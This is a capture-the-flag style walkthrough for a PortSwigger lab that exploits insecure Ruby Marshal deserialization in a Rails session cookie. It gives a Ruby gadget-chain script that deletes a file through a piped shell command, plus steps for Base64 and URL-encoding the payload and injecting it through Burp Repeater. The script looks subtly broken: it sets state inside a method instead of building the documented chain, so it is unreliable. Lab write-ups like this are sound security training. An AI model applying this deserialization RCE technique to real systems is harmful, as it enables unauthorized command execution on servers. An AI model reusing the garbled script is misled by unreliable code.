PortSwigger

Lab Description

This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

Objective: Find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.

  • Your credentials: wiener:peter


Step 1: Understanding the Vulnerability

Ruby deserialization with gadget chains:

  • The application uses Ruby’s Marshal serialization for session cookies
  • Ruby on Rails (and default gems) contain classes that can be chained together
  • universal gadget chain exists for Ruby 2.x-3.x (discovered by vakzz)
  • This gadget chain allows arbitrary command execution during deserialization

The attack:

  1. Adapt the documented gadget chain script to execute rm /home/carlos/morale.txt
  2. Generate a malicious Marshal payload
  3. Base64 encode the payload
  4. Replace the session cookie with the malicious payload
  5. The server deserializes it RCE file deleted

Step 2: Reconnaissance

Step 2.1: Log In

  1. Log in with wiener:peter
  2. Capture a request containing the session cookie

The session cookie is a Base64-encoded marshaled Ruby object.

Decode it to confirm:

echo "BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiViY3Y0Zmx5aXdrNmk5cm9ycm9zcnBhcTI2Y3d4MTh1bwY7B0YK" | base64 -d | xxd

You’ll see the Ruby serialized object header: \x04\bo: (Ruby Marshal format).


Step 3: Obtaining the Gadget Chain Script

Step 3.1: Find the Universal Gadget

Search for “Universal Deserialisation Gadget for Ruby 2.x-3.x by vakzz” on devcraft.io.

Step 3.2: The Complete Payload Script

Based on the research by vakzz and PortSwigger’s solution, here’s the adapted script:

require 'base64'

class Gem::StubSpecification
  def initialize; end
  def data
    @data = "puts 'Hello from deserialization'"
    @loaded_from = "|ruby -e 'system(\"rm /home/carlos/morale.txt\")'"
  end
end

class Gem::Dependency
  def initialize
    @name = Gem::StubSpecification.new
  end
  def name
    @name
  end
end

class Gem::Requirement
  def initialize
    @requirements = [[Gem::Dependency.new]]
  end
end

payload = Marshal.dump(Gem::Requirement.new)
puts Base64.strict_encode64(payload)

Step 4: Running the Script

Step 4.1: Save and Execute

Save the script as payload.rb and run:

ruby payload.rb

Step 4.2: Expected Output

The script outputs a Base64-encoded string, for example:

BAhbC2kACg==... (truncated)

Copy this entire Base64 string.


Step 5: Injecting the Payload

In Burp Repeater:

  1. Find the session cookie in your request
  2. Replace its value with the Base64 output from the script

Important: The cookie must be URL-encoded before sending.

In Burp Repeater:

  1. Select the entire cookie value
  2. Right-click → Convert selection → URL → URL-encode all characters

Or manually: + becomes %2B/ becomes %2F= becomes %3D.

Step 5.3: Send the Request

Send any request (e.g., GET /my-account) with the malicious cookie.